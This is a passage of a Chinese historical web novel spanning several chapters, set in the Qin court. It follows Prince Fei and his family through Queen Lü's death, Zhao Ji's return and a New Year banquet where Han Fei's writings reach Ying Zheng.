公子扶苏皱眉,公子斐瞪了李斯两眼,见他不为所动,直接一闪身从他旁边穿了过去。 “二弟!”公子扶苏一愣,立刻跟上。李斯还试图阻拦,但上了年纪的他显然是拦不住公子扶苏的,他很快就被绕过追,眼睁睁看着公子扶苏追上了公子斐。 兄弟两人直接闯入芷阳宫西内。 “医工还没找到吗?” “蔡晴你那边再让开一点。” 西内的情况不算混乱。公子扶苏和公子斐闯入的时候,今日授课的平准令隗状正有条不絮的指挥女公子和侍女们照顾昏迷的大公主元嫚和身体素来虚弱的二公主阴嫚。连懵懵懂懂还有点搞不清状况的三公主清嫚都有专人细心拂照。 兄弟两在一片惊呼中停下脚步,公子斐与公子扶苏犹豫了一下没有上前打扰侍女们对元嫚的照顾,脚步一顿,转向了现场指挥的隗状。 “隗先生,大姐的情况如何?”公子扶苏关切的问。 隗状微皱了眉头对他们表示不满。他看了一眼还未醒来的大公主和明显为他们赶来而面露欣喜的二公主三公主,片刻,大约是出于对手足之情的体谅,没有对他们的闯入多做指摘,只是平静的交代了现场的情况。 原来,大公主一听吕王后去世的消息就昏倒了。隗状安抚了诸位女公子就赶紧派人去请待命的医工——由于公子女公子中都有天生体虚之人,芷阳宫随时有医工待命——但很不幸,他得到的回报是待命的医工早上都被调去长乐宫了,现在,他们只能派人去长乐宫找人。 “人已经派去好久了,但现在还没有回复。”隗状的面色也有些忧虑。就算不提两年的师生情谊,大公主要是在他课上有个好歹,他的官路估计也就到头了。 “有再派人去问吗?”公子斐插话。 “有的。”公子斐能想到,隗状当然也能想到。“只是依旧没有回复罢。” 这就有些难办了。 “要不派人去章台宫报告?”公子扶苏提议。 “也已派人去问了。”大公主这个情况,隗状肯定是要上报的。 “看来只能等了。”想不出别的办法,公子扶苏只能叹气。 “那华阳宫呢!华阳宫有去问过吗?”公子斐则问。 “这……”隗状一愣,很快摇头。华阳宫是华阳太后的居所,自然也常年配有医工,且华阳宫的医工定然是不受长乐宫影响的。只是……“这是否太过惊扰太后?” 重要的是,华阳太后若是在这之中出了什么万一,那更是无人可以担当。 公子斐显然也想到了这一点。但他只犹豫了一瞬就说:“我去吧。” 公子扶苏和隗状闻言具是一怔。 公子扶苏正想说写什么,外面突然传来侍从的通报。 “报!医工找到了,正在来的路上!” 前来通报的是第二次派出的侍从,他在路上遇见前来看诊的医工,立刻转身回来通报。 “善!”隗状爽快的赏了通传的侍从,转身安排起大公主就诊的相关事项。课室的女公子们和公子扶苏公子斐都被请出了西内,只有大公主本人的侍女在里面服侍。 “希望大姐没事。”微皱着眉离开,公子斐担忧。 “大姐一定会没事的。”公子扶苏安慰他。 大公主昏迷的消息不是秘密,只这一会儿的功夫,东内的课室就知道的差不多了。公子扶苏和公子斐被赶出来的时候李斯和诸位公子都在外面等候。见他们出来,公孙辰看了一眼沉默的李斯,小声询问里面的情况。 “怎么样?大公主情况还好?” 公子扶苏摇了摇头,说她还没醒。 “不过医工已经在来的路上了。”他看了一眼静立在不远处的李斯,抿了抿唇,上前一步同他道歉:“抱歉,李先生,我们一时心急,多有失礼,还望见谅。” 李斯拱了拱手算是接受他的道歉,而公子斐,公子斐也拱了拱手表示失礼,别的他便不觉得自己有什么需要道歉的了。 公孙辰在一边狂拉他的袖子。 李斯:“……” 上课的时候只觉两位公子都是头脑聪慧之人,看不太出彼此的性格差异,这一回,两位的个性倒是表现的异常分明。 大公子扶苏是位知礼懂礼且守礼的人,能听劝,好拿捏,一副标准的君子模样,看着像是儒家会喜欢的性格。而二公子—— 李斯目光闪了闪,试探:“两位公子是准备等医工检查完再走吗?大王诏令已发,两位公子若回去的晚了,宫里也会担心的。” 果然,公子扶苏闻言露出了些许心虚不安与迟疑。他略显急切的扫了一眼宫门,而后下意识的——看向了公子斐。 李斯:“……” 好在公子扶苏显然也意识到这样不太好,他很快回过神对李斯说:“我们等医工的结果出来就走。” 公子斐点头。他想了想,叫来刘言让他回羽阳宫通传。公子扶苏见状连忙也让张明去萯阳谷宫通知郑美人。 李斯:“……” 将两人的表现尽收眼底,李斯没有再提出异议,只是拱了拱手表示知道便转身去安排那些不得不一起挤在东内的公子女公子们——出了这种事,今日朝议肯定是要提前散会的。作为学宫的先生,他得负责将这群公子女公子一个个都平安送到来接人的大臣手中。 他一边招呼公子女公子们回东内等候,一边思考两位公子的表现。 扶苏公子,和他之前想的差不多,这不是李斯喜欢的继承人性格。在这大争之世,公子扶苏也并不是能争霸天下之人。但,秦王若能成功一统天下,长远来看,公子扶苏作为一名守成之君似乎也已足够。听说他之前曾与吕不韦约定要拜为师徒,平日也颇喜《吕览》,应该算是杂家一脉。但吕不韦已然迁蜀,注定无法细心教导他,公子扶苏又性格敦厚,谦逊温雅,实在是很 16.第十六章 《秦二公子升职实录》全本免费阅读 王后去世对秦国而言是一件大事。消息才出,路上就随处可见忙着悬挂白布,行色匆匆的侍女侍从了。 等公子斐乘着羊车回了羽阳宫,宫内各种绘制着花纹的陶器都已撤下,换上素服的侍从侍女们里里外外打扫着宫殿,更换饰品。回到偏殿,赵氏姐妹和韩文吴丹正下针如有风的赶制着公子斐的丧服——虽然嬴政的诏令还没下,但不出意外公子斐晚上是要去守夜的。 “阿母呢?”羽阳宫上上下下的忙碌着,应该居中指挥的人却不见身影。公子斐猜她应该又被叫去辅佐宫务了,不过猜是这样猜,问还是要问一句的。 “美人接了诏令去长乐宫了。”公孙蓉的侍女卫芊回答。 果然,公子斐不出意料的点了点头。他去内室洗了个澡,换上侍女们赶制好的丧服,又提前吃了点东西垫垫肚子,便在羽阳宫安静等候。 这会儿看不进书,公子斐左右无事便盯着院子里的小樟树发呆。这课樟树种下已经有两年了。从最开始的小臂粗现在慢慢长到了手掌粗,看着还算茁壮成长。公子斐不会每日都记得给它浇水,差不多是两三天一次,现在还好好活着大约还多亏了那位陈胡花工。 “下次遇上再赏他一金好了。”从刘言提着的壶里勺了一勺清水浇在树根上,公子斐漫不经心的想。 百无聊赖的等了约小半个时辰,章台宫治丧的诏令终于下达了。与诏令一同过来的,还有一位专门教导丧礼的先生。 毕竟是王家,许多事都前制,由专人负责,不需教导与操心。所以这位先生除了教导公子斐整个丧礼的流程,告诉他该做什么不该做什么外,还负责陪他一起,防止意外发生。 值得一提的是,临走的时候,这位先生偷偷塞了一小袋切碎的姜片给他,并不着痕迹的做了一个擦眼的动作。 公子斐沉默的望着他,片刻,真心向他道谢:“辛苦先生了。” 先生淡然的摇摇头,沉稳的表示自己只是做了应该做的事。 由于今年大旱,嬴政下旨丧礼简办,也不通知各位邻国前来吊丧了。 这对公子斐这些正在长身体的小孩来说算是好事,但大公主元嫚却十分生气,认为这是对她母后的怠慢。 不过下决定的是嬴政,她再怎么闹也没有办法,只得又哭了几场,打起精神重新面对新生活。 咸阳宫的日子很快恢复了平静。但平静之下,又有暗涌奔流。 葬礼结束没几日,一则消息飞快的在咸阳宫中流传,许多人都说吕王后是收到文信侯自尽的消息被气死的,而文信侯则是被秦王逼死的。 收到这个消息,老实说公子斐还挺惊讶的。文信侯前段时间不是才被迁去蜀中吗?怎么突然就死了。 只是,还没等他有所质疑,公子扶苏“告病”的消息便向他确认了真假。 “大公子和文信侯的关系有这么好么?”公孙辰不是很理解。“我都快不记得蒙师长啥样了。”吕不韦离开咸阳前对公子扶苏的看好不是秘密,咸阳宫内外大部分人都知道。 “大兄毕竟是重情之人。”公子斐对此到不意外,不过他这样会让父王不高兴的吧。他想。 嬴政确实有些不高兴。 他写信给吕不韦只是想让他在蜀地安分点,有点罪臣的自觉,别像在封地一样摆国相的架势,三天两头接待外国使臣。没想到他竟是惊惧的自杀了,这反倒是叫嬴政有些难办了。 吕不韦辅政三年,摄政十年,在朝堂有很大的影响力。嬴政这两年虽慢慢在清理,但要寻找合适的替换人手也不是这么容易的。所以,收到吕不韦去世的消息,他没有公布,选择了压下。 但没想到,吕王后这一去,消息瞬间就压不住了。 嬴政有些恼火。 明知道吕王后的“大好”有问题还愿意将执掌宫务的权利还给她,嬴政对他明媒正娶的正夫人当然是有些感情的。但显然,他的吕王后不这么想。或许因为这场婚姻从一开始就源自吕不韦与赵姬的安排,她始终认为自己的地位与吕不韦,与赵姬的地位息息相关。偏偏他们一个被罢相,一个被软禁雍城,谁也给不了她支撑。是以,从蕲年宫之变起,吕王后就活在被废的恐惧中。 老实说,她的这种想法其实有些多余。 即便是民间,宠妾灭妻也是被鄙视的,王室搞这些更是丑闻中的丑闻。君不见周幽王废后立妾,废嫡立庶直接导致申王后母家叛乱,嬴政这样有雄才大略的君王实在没必要给自己找这种麻烦。 如果他真这么不满,他根本不会与她生下三个公主。 但偏偏,还没等她调整好心态,她管理宫务的权利就被剥夺了。虽然名义上是让她好好养病,但这无疑加重了她的恐惧。 于是,她变得更看重权利了,即便身体依旧不好,也要谎称“大好”向嬴政请命。 嬴政一时心软,将宫务还给了她,结果,她就因此得知了被他压下的吕不韦自尽的消息。 这消息极大的刺激了吕王后本就脆弱敏感的心,她仿佛从中看到了自己的未来。 吕不韦死了,吕家也倒了,那她—— 吕王后本就强撑的身体立时撑不住了。她的心死了,身体便也瞬间衰败,救都来不及救。 “大王,吕相,不,文信侯之事实是不该……” “大王糊涂啊!吕不韦不过一届商贾,反不起什么风浪,大王实在不该因此脏了自己的手!” “大王,吕相对先王,对秦国,对您都情深义重,你如此这般,实在叫人心寒!” 自从吕不韦去世的消息被确认,嬴政的耳边一天都没停下来过。明明不是他做的,是吕不韦自己心虚,但仿佛所有人都认定是他嬴政下的手。一些铁杆吕党害怕清算,甚至还连夜逃亡,令他无奈至极。 好在,在砍了一个当面斥责他不忠不孝的家伙后——呵呵,不忠不孝,他吕不韦凭什么要他孝!嬴政愤怒的想——这群烦人的大臣们总算消停了一点。虽然逃亡的人更多了,但相对的也空出了许多位置方便他提拔人才。 嬴政这几天一下提拔了好几位下级官员,连上卿都换了两三个。这让他政务处理越发顺手的同时,也更明白一个执政者的名声有多么重要。 得道者多助,失道者寡助。这不是空谈,而是真理。 所以,必须挽回自己的名声才行。 嬴政爽了两天就不得不思考起解决的办法。他十分不情愿的,将目光转向了甘泉宫。 ……还是再看看吧。 沉着脸,嬴政放下政务,决定去后宫走走。 咸阳宫的后宫一如既往的庄重幽静。嬴政独自带着侍从在甬道上漫步,不知不觉便走到了长杨宫。这是他未即位时和赵姬一起居住过的宫殿。虽然他在里面住了没多久就被立为太子搬去了东宫,但因为是回到秦国后的第一个住处, 17.第十七章 《秦二公子升职实录》全本免费阅读 沉着脸的离开长杨宫,嬴政又去了甘泉宫。 空置两年的甘泉宫看着有些荒凉,但嬴政并不准备对此再做修缮。甚至,他还特意吩咐,搬走了一些违制的装饰品。 这是为太后准备的居所,一般人根本不会计较其中的违制之处,只会嫌其不够奢华,无法让君王展示自己的孝道。 但嬴政偏不。他认为赵姬已经逍遥的够久了,该好好学学什么是“礼”了。 就这样吧,希望她能像以前一样飞快适应。 背着手离开甘泉宫,嬴政又往华阳宫而去。 赵姬回归也算是一件宫内大事,虽然与华阳宫关系不大,但多少还是得通知一声。特别是鉴于华阳宫的地位,还必须是他亲自去通知。 想起华阳太后曾经对他的劝导,嬴政就想叹息。 期望越大,失望越大,也不知华阳太后对此是个什么心情。 怀着不甘与沉重在来到华阳宫,嬴政阻止了侍女们的通传,先在门口问了一句华阳太后的身体。若太后尚在休息,他也就不去打扰了。 “太后一切都好。”侍女们恭敬的回答。 “那便好。”嬴政满意点头。 虽然不是华阳夫人的亲孙,对她感情稍显不足,但嬴政对她的敬重还是不缺的。在整个咸阳宫只剩这一位长辈的现在,嬴政遇到困难时也会来此请教夫人的看法。 事实上,他这次过来,除了知会赵姬回宫的事外也是想听听华阳夫人的看法。 确定华阳夫人现在没有什么不方便,嬴政便示意侍女入内通传了。他在门口等候片刻,想着宫内准备应该足够,这才迈步踏入其中。 他被侍女引着往园子里走。还没走近,就听到一阵热闹的喧哗。 “一二三四五六七,谁先报数谁下棋!” “七!” “哎!” “好耶!那我就不客气啦。”熟悉的声音自园中传来,嬴政一时没想起自己是在哪里听过,下意识停下了脚步。 “二公子眼疾手快,每次都赢,就不能让让我们嘛~”一个女声娇嗔。 “那怎么行,输赢面前无男女。”熟悉的声音得意道。 “公子,先手获胜非实力之证呀!您该练练后手了~”又一个女声道。 “说得好像也有道理,唔,那就下一盘试试好了。”熟悉的声音犹豫了一下,赞同了。 “好耶!那下一盘我来!” “你个小蹄子,快走开,该我了!” “我我我!我都还没和公子下过棋呢!” 一群女声吵得简直要打起来。 “别这样别这样!先来后到,先来后到呀!”熟悉的声音大声主持秩序。 嬴政:“……” 吕王后才故去几日便如此欢欣,成何体统?嬴政听的直皱眉。 虽然最开始没想起来,不过里面的侍女都直接叫“二公子”了,嬴政想不知道这是谁都不行。他仔细回忆了一下自己的行程,发现没错,自己来的确实是华阳宫。那问题来了,这小子怎么在这里?还一副如鱼得水的自在模样,华阳夫人都不介意? 嬴政带着几分不快与探究踏入华阳宫的花园,他只往前几步,就见他的好大儿在一群侍女的围绕下与另一位侍女下博棋。华阳夫人则悠闲的靠在不远处听侍女转述前头的战况,时不时轻笑的点评几句,好不惬意。 这欢乐的气氛和他完全是两个画风,他今天是不是就不该过来。有一瞬间,嬴政心想。 但来都来了,嬴政这会儿也不可能转头就走,他便缓步上前先去找了华阳夫人。 “外大母,孙儿同您问好。”嬴政谦逊道。 “王上来了,快坐,快请坐。”已经收到通知的华阳夫人在侍女的搀扶下直起身,含笑看向嬴政的方向。“都这么大了,老身还记得第一回见你的样子呢。”华阳夫人笑道。 “叫外大母见笑了。”嬴政也笑。 作为咸阳宫最有地位的女子,既然他以后要在咸阳宫常住,自然是需要第一时间前去拜会的。嬴政还记得他来华阳宫前教礼的先生是如何千叮咛万嘱咐他不可失礼,他身体不好也没见过几次面的父王也特地抽出时间陪他一起,就怕有什么万一。 那时的华阳夫人是雍容华贵,仪态万千的,和现在笑容慈祥,身体佝偻的模样完全不一样。 这就是岁月的威力。嬴政心情复杂的想。 “王上今儿怎么有空过来?”废话了两句没营养的寒暄,听着前头赛事正欢的声嚣,华阳夫人切入正题。 嬴政仿佛从中听出了“没事就快滚,别打扰她含饴弄孙”的含义。 天可见怜的,他这二儿子到现在都还没发现他过来呢。 嬴政隐隐抽了抽眼角。他暗暗瞪了儿子一眼,小声将赵姬的事同华阳夫人说了。 “她还有脸回来!”一说起正事,华阳夫人就收起脸上的慈祥了。“吕氏是怎么搞的!”吕不韦吕王后都已经去了,她的怒气也只能冲着嬴政来了。 “是孙儿疏忽。”嬴政干脆认错。他承认,不管是当初一时之气夺吕王后的权,还是后来一时心软放吕王后的权,他想的都太简单了,没有周全的考虑后果。 华阳太后轻哼了一声,倒也没在这个问题上多纠缠。事已至此,重要的还是如何解决。 “王上既然已有决定,那老身便放心了。”华阳太后慢悠悠道,“那赵姬回来便回来吧,左右这个宫里还有老身在,她翻不出什么风浪。” 赵姬以前能秀操作主要是由于她一开始和吕不韦亲近稳定政权的举动让人放心,万万没想到,她这不是有脑子有眼光,纯粹是恋爱脑侥幸看中了个有才华的。一旦换人,后果截然不同。 “有劳夫人了。”如果可以,嬴政也不想劳累年过六十的华阳夫人,但赵姬是他的母亲,即便他再立王后管理后宫,赵姬作为太后也天然压王后一头。这个咸阳宫,能全然压制赵姬身份的,也只有华阳夫人和他自己了。 华阳夫人微微摇头表示不用在意。她抬眼看了嬴政一眼,又道:“国不可一日无后,吕王后已去,王上有什么打算?” 作为秦国最有权势的夫人,华阳太后在为秦国的强大稳定效力的同时也不忘借机拂照自己的故国。秦楚已有两代未曾联姻,此番虽只是继后,也是一个好机会。 “朕欲立楚夫人为后。” 沉默片刻,嬴政 18.第十八章 《秦二公子升职实录》全本免费阅读 “那我再去试试?” 华阳夫人年老,说话速度缓慢,两人的一对一教学持续了好一会儿才结束。学到新思路的公子斐跃跃欲试,当场就想跑去再来一盘。不过考虑到嬴政还在这里,他姑且还是多问了一句。 “不急。”这多问的一句真是令公子斐后悔的一句。“还不快告诉你父王你是怎么过来的,我看他可好奇的紧。”华阳夫人笑道。 公子斐:“……” 这、这该怎么交代?面对嬴政略微挑高的眉,公子斐心虚的缩了缩肩膀。 “这个……”他飞快的眨着眼睛,思考说辞,“就是源自一次小小的意外吧。”公子斐用手指比了一个很小很小的示意。 嬴政微笑着也比了一个“请”的动作。 这下公子斐更瑟缩了。 “就是……父王你也知道,儿平日里比较喜欢各处游玩……”公子斐一边说一边观察嬴政的神色,“有一次,不小心就……就……”他下意识看向华阳夫人。 嬴政皱眉:“你这竖子莫不是冲撞了夫人?” “没有没有,这个没有!”公子斐赶紧否认。他又瞄了一眼华阳夫人的神色,见她面色坦然不仅不介意还略带笑意隐隐有些鼓励的样子,这才小声道:“儿就是不小心撞见曾大母在与夏……”他卡了一下,“夏太后说话。” 嬴政微怔。 夏太后不是早就……他下意识的想。但是转瞬,嬴政就明白了公子斐的意思。 华阳夫人的丈夫,养子都去的早,赵姬与她的关系又很一般,在夏太后去世前,这个宫中与她年龄地位相差不大的只有谦逊待人,活着和死后都不准备抢她位置的夏太后。两人经常一起赏花观鱼游园说话,关系非常不错。但是自夏太后去了,赵姬也因为那些不堪的原因搬去别宫,华阳夫人在这宫中就没什么可以说话的人了。 鉴于她丈夫儿子居住的宫殿早已异主换了装饰,她现在恐怕也只有在保持不动的夏太后的芷阳宫才能找到些许过往的回忆了。 “是孙儿的错,竟是疏漏了大母。” 华阳夫人会带着公子斐玩最初显然是因为深宫寂寞,无事可做。这是嬴政的孝心没有到位的结果,是他的失职。 华阳夫人摆了摆手:“你也不容易。” 嬴政九岁回秦也算是华阳夫人看着长大的,他一步一步走到今天,其中的困苦华阳夫人也不是不知。正是因为将这一切都看在眼里,华阳夫人无趣的时候才自己找逝去夏太后说话,没有叫人给嬴政添麻烦。 更何况她也没有无趣太久,才两年她就在芷阳宫捡到了可爱的公子斐小朋友。 “斐儿真是个好孩子。” 察觉到华阳夫人的寂寞,公子斐便定期往华阳宫跑与她说话聊天。怕他不在了华阳夫人没人说话,公子斐还在打听了华阳夫人的爱好后想出了六博棋赛这个办法。 让会六博棋的侍从侍女们捉对比赛下棋,再由侍女将战况转述给眼睛不好的华阳夫人。如此,侍女侍从们获得了奖赏,华阳夫人无聊的时候也能思考棋局战况,指点侍女侍从们棋艺,可谓一举多得。 “倒是个好点子。”嬴政点头。 虽然就客观来说这六博棋赛会导致侍从侍女们心想比赛,怠慢华阳夫人。但华阳夫人本人都不介意,嬴政自然也不会在这时候跳出来煞风景。事实上,嬴政都已经在考虑要不要扩大比赛了。六博棋是时人都爱玩的游戏,他虽不算个中好手,闲暇时也会与大臣们来两把联络感情。若是将棋手范围扩大到诸位臣子中—— 嬴政思考片刻,到底还是放弃了这个想法。此等趣事有违商君的“禁娱”思想,还是不扩展的好。 不过参考这个模式,倒是可以为华阳夫人以及宫中的后妃们举办一些类似的娱乐活动,丰富她们的日常生活。 这件事就交给未来的楚王后去办吧,这本就是王后该负责的事。嬴政心中有了决定。 ———— 在华阳宫吃了晡食又与儿子下了两盘棋,嬴政因赵姬而陷入低谷的心情总算略有回转。傍晚,他将儿子送回羽阳宫,借着检查功课的名头大大奖赏了儿子一番后顺势也歇在了羽阳宫中。 第二日,嬴政在朝议中最终确定了迎回赵姬的方案,因吕王后去世而寂静的咸阳宫顿时又热闹了起来,所有侍从侍女都开始为赵太后的回归而忙碌。 只是……咸阳宫热闹了,有些人的心却如坠冰窖。 “父王太过分了!他这般置母后于何地!” 五日的辍朝停课结束才过了没几天,尚未换下素服就得知这样的消息,大公主元嫚的心情是崩溃的。她跑去向父王抗议无果,便跑来质问公子斐。 “什么?”公子斐不是很能理解这和他有什么关系。 “昨天你不是和父王在一起吗!你是不是又向父王告状了!上次就是因为你!”元嫚气愤道。 “大姐息怒,这其中定是有什么误会。”公子扶苏劝道。 “是啊,二弟不过与我们一般的年纪,如何能影响父王?”阴嫚也劝。 “你们闭嘴!”元嫚大叫。她这会儿可不会再顾念什么情亲了!她顾念情亲,公子斐顾念她吗! “母后到底是怎么惹你了!你要做的这么绝!连她最后的哀容都不留!”元嫚尖叫。她本就通红的两眼这会儿更是流泪不止。 公子斐茫然的回视她。 “我真不知道怎么回事……”公子斐无辜,“大姐若是说昨日的事,昨日我不过是在曾大母宫中学棋的时候与父王下了两盘六博棋而已。其他真没有什么了!我们一句话都没提到母后!” 公子斐发誓。 “我不信!”元嫚坚定,“上次也是你!” “上次我也只是被父王抓到溜出宫玩,父王要责问我阿母我才说阿母去给母后侍疾了。”公子斐解释。 “我不信!就是你!就是你!是你害死了母后!”元嫚又哭了起来。“如果不是你……如果不是你……母后怎么会……”她伏在公子扶苏肩上泣不成声。 公子斐:“……” 这他该怎么说? 要说吕王后的事与全然他无关,那好像是有一点关系,要不是他随口一句,吕王后也不会被夺权,连养病都养不安生。但若要全怪他,那公子斐又不服。因文信侯之事急出病的是吕王后自己,又不是他让吕王后生病的。赵太后之事他更是全然不知,怎么想都不该怪到他头上。 公子斐有心想要反驳,但看元嫚哭的这样伤心,他又不好意思,只得沉默的站在原地,出神的盯着地面发呆。 “这都什么事阿……”阴嫚无奈。她看了看眼前仿佛僵持住的两个人,和同样无奈的公子扶苏对视了一眼,想了想,干脆一把拉起公子斐跑了。 “让大姐静一静吧。”找个了不起眼的角落停下,阴嫚劝道。 公子斐点头。他虽然对吕 19.第十九章 《秦二公子升职实录》全本免费阅读 头昏脑涨,身心疲惫的结束课程,公子斐起身就感觉刚灌入脑中的那些礼仪流程正飞速离他远去。他晃了晃脑袋,正想着要不要和公子扶苏一起乘车,就听身后有人叫住了他。 是元嫚。 公子斐微微一顿,转身看她。元嫚沉默着与他对视,片刻不自然的移开了视线。 公子斐注意到站在她身边的阴嫚小小的拉了拉她的袖子。元嫚微微一僵,板着脸抿了抿唇,片刻,像是下定了什么决心一般上前两步在公子斐身前站定。 “二弟,我……很抱歉……”元嫚的眼睛带着些许不安飞快的扇动着。“之前是我太激动,错怪你了。”她轻声道。 随着茅焦的声名大振,他的事迹也广为流传。现在咸阳宫几乎人人都知道他冒死说服秦王与赵太后和好了,公子斐的黑锅自然也洗刷殆尽。 “没事,大姐也是心系母后才会如此,我理解的。”勉强打起精神应对,公子斐笑道。 这不是客套,他是真的理解。他们宫中之人不比外界,与阿父阿母一起相处的时间都比较多。公子公主们一年也就能见嬴政几次,平日里基本都是与母亲生活在一起。如此,他们对母亲的感情自然是极其深厚的。吕王后的事若是发生在公孙蓉身上,公子斐都不确定自己会发多大的火。只能说幸好他阿母身体健康,看得开也想得开,不至于出现吕王后这种情况。 “只盼大姐早日走出心结,重新振作起来。”公子斐真诚祝福。 吕王后之事,涉及到秦国的政权交替,说不清道不明,想追究可能只能找他们的父亲嬴政了。但秦国显然没人能向他追究这件事,元嫚还是早日看开的好。 元嫚沉默。 她何尝不知道这个道理?事实上她从来也不相信她威严英明的父王会受公子斐影响作出决定。只是她的悲愤需要一个发泄口,公子斐刚好合适而已。 老实说话一出口她就后悔了。但有时候发泄就是这样,一旦开了头后续根本就停不下来。一通发泄完,看着公子斐茫然受伤,连连反驳的模样,元嫚真觉得有种隐秘的快感在她心头蔓延。之后,公子斐的主动避让更是助长了她的这种快乐。 这让她心虚惶恐,也让她更难以面对公子斐。 今天,若不是在场只剩他们姐妹兄弟几个,若不是阴嫚和公子扶苏再三鼓励劝说,若不是她心里明白公子斐一定不会计较这些,她或许——不,她一定不敢说出这句道歉。那或许,她和二弟的感情也…… 晶莹的泪水自元嫚眼中流下,这一回她没有嚎啕大哭,只是默默流泪。公子斐无奈的望着她,最终,他伸手轻轻将她抱在怀中。 “没事的大姐,我真没事。”公子斐轻柔道。 ———— 经过儒家先生的无数次指导,迎接赵太后回归的盛典四平八稳的过去了。 含笑站在前排,努力用孺慕的目光凝视追随赵太后,公子斐感觉自己脸笑僵了眼睛也看瞎了,整个人都被风吹的快不好了。 好在,他们这些孙辈基本不用说话,大多只是围观烘托气氛,他们的父王嬴政才是盛典的主角。不仅要亲自出迎,伴驾回宫,还要恭谦孝顺的与赵太后表演一番久别重逢,阖家团圆。 只见他们又是顶着秋风回顾他们在赵国孤苦伶仃的往事,又是携手展望母慈子孝的未来。一套丝滑流程结束,最后诸位宗亲大臣们还要为这“感人肺腑”的重逢欣慰落泪,郑重请关键人物茅焦出列接受嬴政与赵太后的感谢,发表一通对秦国美好未来的展望。 整整一天,从鸡鸣的宗庙祭祖开始到日昳的携手回宫,公子斐几乎是片刻不得闲的在咸阳奔波。好不容易将这些流程全部走完,紧接着又是除旧迎新的开年大宴。 正月初一的开年大宴是秦国一年中最重要的一场宴会,在咸阳的宗亲大臣们全都要参加,公子斐当然也不例外。 之前因为还小的缘故,几位公子公主都是和自己母亲坐在一起的。今年大约是为照顾吕王后留下的三位公主,年满五岁的公子公主们都单独出列坐在了一块。这其中,年纪稍大一些的公主公子还好,多少有些适应了,才刚满五岁的诗嫚和公子高几乎都是第一次对这种场合产生印象,两个小豆丁瑟瑟发抖的缩在位置上,几次抬头试图找寻自己的母亲被侍从们提醒后只能恹恹的低着头,小口小口的喝果汁。 我们也就罢了,三弟和四妹也太小了。 一边喝果汁一边注意身边的情况,公子斐在心中抱怨嬴政的这次做法。他与同样忧心两位弟妹情况的公子扶苏对视了一眼,两人齐齐叹息。 开年大宴形式大过饮食,平平顺顺就是万事大吉,他们不被允许走动,只能无聊的坐在位置上发呆。 “到底还有多久……” 看了一眼还在滔滔不绝的新任右丞相柳启,公子斐小声抱怨了一句。他扫了一眼等着讲话的左丞相周颠,心中充满绝望。 ———— 大半个时辰的歌功颂德结束,终于到了进献礼物的环节。 为表孝心,嬴政之前就已下令单独出席的公子公主都要为太后准备礼物。不过,他这孝心显然也有限,下令的时候特别暗示了心意为重,也就是别花钱。是以,几位公子公主课余的时候一合计,或抄或画或弹或唱的各自分配项目,充分保证人人不重合,样样有惊喜。 公子斐准备的是自己亲自抄写的百福书,这百福书用一百种不同的福字书写而成,或是自创,或是源自他国,每一个都有其特别之处。为了凑够一百种不同的字体,他还特地去请教了好几位他国的客卿,琢磨别国的各种字体。他越是琢磨越是感觉奇妙,明明是同一个字,每个国家的写法却相似又不同,十分神奇。 受他拜托,帮他整理设计各种不同福字的李斯李先生说这是因为这些文字都源自周王朝,在王朝崩坏之后,各国根据自己国家的避讳和习惯延伸出了不同的模样。李斯认为现在这些字还能看出原本的模样,但长此以往他们一定会演变成完全认不出原型的样子。到那时,不会再有人认为这些字都源自周王朝,源自同一个字,他们只会认为这从一开始就是两种字。 “听上去很可怕,但也很现实,就和周王朝一样。”公子斐评价。 现在争霸天下的诸侯国们也都源自周王朝,但现在又有谁会重申他们的宗主国呢?没有,一个也没有。 或许,只有真正一统天下之国才会 20.第二十章 《秦二公子升职实录》全本免费阅读 开年大宴平稳进行着。 因今年情况特殊,宴会隆重非常,许多平日里在外出使的大臣们也远游归来,为终于和好的嬴政赵太后献上贺礼。 鉴于他们往后还将担负对外传播秦王与太后和好事例的重任,嬴政细心友好的慰问了他们每一个,对每一份贺礼都表现的珍重非常。 当然,金银财物类的贺礼,他再怎么表现也就这样,毕竟都是看惯了的。但孤本典籍类的贺礼却不一样。因为不好从表面评估价值,嬴政都是粗粗翻看片刻才保守且夸张的进行点评。 这其中,有一份贺礼令他表现的格外不同。那就是时任典客中丞的姚贾进献的典籍。 “嗟乎,寡人得见此人与之游,死不恨矣!” 从草草翻看到凝神细看,仅仅片刻,嬴政便对手中的卷轴爱不释手。他不顾现场等待的其他人,反复翻看手中的竹简,眼中异彩连连,面上欣喜非常。 “此人是谁?”好一会儿,他才勉强平复自己的心绪,重新恢复威严郑重的模样。 “是韩国的公子非。”姚贾回答。 据姚贾说,这是韩国一位不得韩王重用的公子。因屡次向韩王进言献文无果,他愤而著书。姚贾此次进献的便是这位韩公子非曾经献给韩王的文章。至于他后来写的,他暂时还没能收集。 嬴政点头。 “务必速速集来。”他郑重交代,并抬高了声音向群臣询问又问了一次。 “有谁认得韩国的公子非?” 宗亲大臣们彼此面面相觑着摇摇头,显然都没听说过这个人。不过,有两人却是站了出来,一个是李斯,一个是众人没什么印象的年轻人。 “回王上,公子非与臣曾为同门。”李斯恭敬的回答。 “原来是荀卿高足。”嬴政了然。他又看向站出来的那位年轻人,年轻人微微一抖,也是答曾是同门。 “莫非这位也是荀卿高足?”嬴政挑眉。 “此子姓张名苍,与臣亦为同门。”李斯回答。 张苍是荀子的关门弟子。荀子去世后他在外游学了几年,暗暗研究了一番诸国形式后就包袱款款的来投奔师兄李斯了。他经李斯举荐入仕,因为尚且年轻稚嫩,目前只在御史大夫府中担任御史。李斯的想法是让他练几年再提上来,没意外的话,等他过世,张苍就是他法家的接班人。 “荀子真乃奇人也。”嬴政感慨。李斯的大才他深有体会,公子非的才能他刚才也略窥一二,能教出这样两位学生,荀子的能力毋庸置疑。这不,刚还是“荀卿”,现在就是“荀子”。“不知张御史擅长何事?”嬴政亲切的问。 张苍浅浅的咬了咬唇,即是兴奋又是害怕。他下意识扫了一眼李斯,片刻,低声回答:“臣略通算数,喜好历法乐律。” 嬴政点头:“如此,年后你便去治栗内史那边吧,均输中丞似是还差一人。” 均输中丞是均输丞的协助者,主要负责征收、买卖和运输货物,以便平准令调剂各地供应。 “喏!”张苍激动的领命。 ———— 白捡一个荀子门下的人才,嬴政因韩公子非而躁动的心总算平复了一些。他再次低头凝视手中竹简,闭了闭眼,终于彻底按下心中的激动,继续照流程办事了。 只是,明眼人都能看得出嬴政的心不在焉,是以,姚贾之后献礼的免不了都对他有些许怨念。 好在这些献礼本也多是走个形式,即便再心不在焉,嬴政还是好好完成了自己任务。待宴会的前戏终于完成,他高声宣布——开宴! 庄重的乐声立时变得轻松悦动,娇俏的侍女们排队斟酒上菜,整个章台宫霎时热闹了起来。 